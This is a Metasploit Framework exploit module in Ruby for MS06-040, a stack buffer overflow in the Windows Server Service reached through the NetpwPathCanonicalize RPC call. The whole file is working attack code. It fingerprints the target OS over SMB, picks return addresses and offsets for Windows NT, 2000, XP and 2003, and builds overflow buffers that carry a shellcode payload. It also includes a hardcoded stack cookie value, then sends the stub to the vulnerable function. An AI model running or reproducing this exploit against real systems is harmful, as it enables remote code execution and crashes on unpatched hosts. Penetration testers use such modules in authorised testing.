##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::SMB


  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'Microsoft Server Service NetpwPathCanonicalize Overflow',
      'Description'    => %q{
            This module exploits a stack overflow in the NetApi32 CanonicalizePathName() function
        using the NetpwPathCanonicalize RPC call in the Server Service. It is likely that
        other RPC calls could be used to exploit this service. This exploit will result in
        a denial of service on on Windows XP SP2 or Windows 2003 SP1. A failed exploit attempt
        will likely result in a complete reboot on Windows 2000 and the termination of all 
        SMB-related services on Windows XP. The default target for this exploit should succeed
        on Windows NT 4.0, Windows 2000 SP0-SP4+, Windows XP SP0-SP1 and Windows 2003 SP0.
      },
      'Author'         => 
        [
          'hdm'
        ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision$',
      'References'     =>
        [
          [ 'CVE', '2006-3439' ],
          [ 'OSVDB', '27845' ],
          [ 'BID', '19409' ],
          [ 'MSB', 'MS06-040' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Privileged'     => true,
      'Payload'        =>
        {
            # Technically we can use more space than this, but by limiting it
          # to 370 bytes we can use the same request for all Windows SPs.        
          'Space'    => 370,
          'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'DefaultTarget'  => 0,
      'Targets'        => 
        [
            [ '(wcscpy) Automatic (NT 4.0, 2000 SP0-SP4, XP SP0-SP1)', { } ],
          [ '(wcscpy) Windows NT 4.0 / Windows 2000 SP0-SP4', 
            {
              'Offset' => 1000,
              'Ret'    => 0x00020804 
            } 
          ],
          [ '(wcscpy) Windows XP SP0/SP1',
            {
              'Offset' => 612, 
              'Ret'    => 0x00020804 
            }
          ],
          [ '(stack)  Windows XP SP1 English',
            {
              'OffsetA' => 656,
              'OffsetB' => 680,
              'Ret'     => 0x71ab1d54 # jmp esp @ ws2_32.dll
            }
          ],
          [ '(stack)  Windows XP SP1 Italian',
            {
              'OffsetA' => 656,
              'OffsetB' => 680,
              'Ret'     => 0x71a37bfb # jmp esp @ ws2_32.dll
            }
          ],
          [ '(wcscpy) Windows 2003 SP0',
            {
              'Offset' => 612,
              'Ret'    => 0x00020804
            }
          ],
        ],

      'DisclosureDate' => 'Aug 8 2006'))

    register_options(
      [
        OptString.new('SMBPIPE', [ true,  "The pipe name to use (BROWSER, SRVSVC)", 'BROWSER']),
      ], self.class)
            
  end

  def exploit  
  
    connect()
    smb_login()

    if (target.name =~ /Automatic/)
      case smb_peer_os()
        when 'Windows 5.0'
          print_status("Detected a Windows 2000 target")
          target = targets[1]
          
        when 'Windows NT 4.0'
          print_status("Detected a Windows NT 4.0 target")
          target = targets[1]
        
        when 'Windows 5.1'
          begin
            smb_create("\\SRVSVC")
            print_status("Detected a Windows XP SP0/SP1 target")
          rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
            if (e.error_code == 0xc0000022)
              print_status("Windows XP SP2 is not exploitable")
              return
            end
            print_status("Detected a Windows XP target (unknown patch level)")
          end
          target = targets[2]
          
        when /Windows Server 2003 (\d+)$/
          print_status("Detected a Windows 2003 SP0 target")
          target = targets[5]
        
        when /Windows Server 2003 (\d+) Service Pack (\d+)/
          print_status("Windows 2003 SP#{$2} is not exploitable")
          return
        
        when /Samba/
          print_status("Samba is not vulnerable")
          return
          
        else
          print_status("No target detected for #{smb_peer_os()}/#{smb_peer_lm()}...")
          return
      end
    end
    
    # Specific fixups for Windows NT
    case smb_peer_os()
    when 'Windows NT 4.0'
      print_status("Adjusting the SMB/DCERPC parameters for Windows NT")
      datastore['SMB::pipe_write_min_size'] = 2048
      datastore['SMB::pipe_write_max_size'] = 4096
    end
              
    handle = dcerpc_handle(
      '4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 
      'ncacn_np', ["\\#{datastore['SMBPIPE']}"]
    )
    
    print_status("Binding to #{handle} ...")
    dcerpc_bind(handle)
    print_status("Bound to #{handle} ...")

    #
    #  /* Function 0x1f at 0x767e912c */
    #  long function_1f (
    #    [in] [unique] [string] wchar_t * arg_00,
    #    [in] [string] wchar_t * arg_01,
    #    [out] [size_is(arg_03)] char * arg_02,
    #    [in] [range(0, 64000)] long arg_03,
    #    [in] [string] wchar_t * arg_04,
    #    [in,out] long * arg_05,
    #    [in] long arg_06
    #  );
    #

    print_status("Building the stub data...")  
    stub = ''

    case target.name

    # This covers NT 4.0 as well
    when /wcscpy.*Windows 2000/
    
      code = make_nops(target['Offset'] - payload.encoded.length) + payload.encoded
      
      path = code + ( [target.ret].pack('V') * 16 ) + "\x00\x00"

      stub = 
        NDR.long(rand(0xffffffff)) +
        NDR.UnicodeConformantVaryingString('') +
        NDR.UnicodeConformantVaryingStringPreBuilt(path) +
        NDR.long(rand(250)+1) +
        NDR.UnicodeConformantVaryingStringPreBuilt("\xeb\x02\x00\x00") +
        NDR.long(rand(250)+1) +
        NDR.long(0)      
      
    when /wcscpy.*Windows XP/  
      path =
        # Payload goes first
        payload.encoded +
        
        # Padding
        rand_text_alphanumeric(target['Offset'] - payload.encoded.length) +
        
        # Land 6 bytes in to bypass garbage (XP SP0)
        [ target.ret + 6 ].pack('V') +
        
        # Padding
        rand_text_alphanumeric(8) +
        
        # Address to write our shellcode (XP SP0)
        [ target.ret ].pack('V') +
        
        # Padding
        rand_text_alphanumeric(32) +

        # Jump straight to shellcode (XP SP1)
        [ target.ret ].pack('V') +
        
        # Padding
        rand_text_alphanumeric(8) +        
        
        # Address to write our shellcode (XP SP1)
        [ target.ret ].pack('V') +
        
        # Padding
        rand_text_alphanumeric(32) +
        
        # Terminate the path
        "\x00\x00"
        
      stub = 
        NDR.long(rand(0xffffffff)) +
        NDR.UnicodeConformantVaryingString('') +
        NDR.UnicodeConformantVaryingStringPreBuilt(path) +
        NDR.long(rand(0xf0)+1) +
        NDR.UnicodeConformantVaryingString('') +
        NDR.long(rand(0xf0)+1) +
        NDR.long(0)  
    
    
    when /stack/
      buff = rand_text_alphanumeric(800)
      buff[0, payload.encoded.length] = payload.encoded
      buff[ target['OffsetA'], 4 ] = [target.ret].pack('V')
      buff[ target['OffsetB'], 5 ] = "\xe9" + [ (target['OffsetA'] + 5) * -1 ].pack('V')
      
      path = "\\\x00\\\x00" + buff + "\x00\x00"
      
      stub = 
        NDR.long(rand(0xffffffff)) +
        NDR.UnicodeConformantVaryingString('') +
        NDR.UnicodeConformantVaryingStringPreBuilt(path) +
        NDR.long(rand(0xf0)+1) +
        NDR.UnicodeConformantVaryingString('') +
        NDR.long(rand(0xf0)+1) +
        NDR.long(0)
        
        
    when /wcscpy.*Windows 2003/
      path =
        # Payload goes first
        payload.encoded +

        # Padding
        rand_text_alphanumeric(target['Offset'] - payload.encoded.length) +

        # Padding
        rand_text_alphanumeric(32) +

        # The cookie is constant,
        # noticed by Nicolas Pouvesle in Misc #28
        "\x4e\xe6\x40\xbb" +

        # Padding
        rand_text_alphanumeric(4) +

        # Jump straight to shellcode
        [ target.ret ].pack('V') +

        # Padding
        rand_text_alphanumeric(8) +

        # Address to write our shellcode
        [ target.ret ].pack('V') +

        # Padding
        rand_text_alphanumeric(40) +

        # Terminate the path
        "\x00\x00"

      stub =
        NDR.long(rand(0xffffffff)) +
        NDR.UnicodeConformantVaryingString('') +
        NDR.UnicodeConformantVaryingStringPreBuilt(path) +
        NDR.long(rand(0xf0)+1) +
        NDR.UnicodeConformantVaryingString('') +
        NDR.long(rand(0xf0)+1) +
        NDR.long(0)

    end
    
    print_status("Calling the vulnerable function...")
    
    begin
      dcerpc.call(0x1f, stub)
      dcerpc.call(0x1f, stub)
    rescue Rex::Proto::DCERPC::Exceptions::NoResponse
    rescue => e
      if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
        raise e
      end
    end

    # Cleanup
    handler
    disconnect
  end

end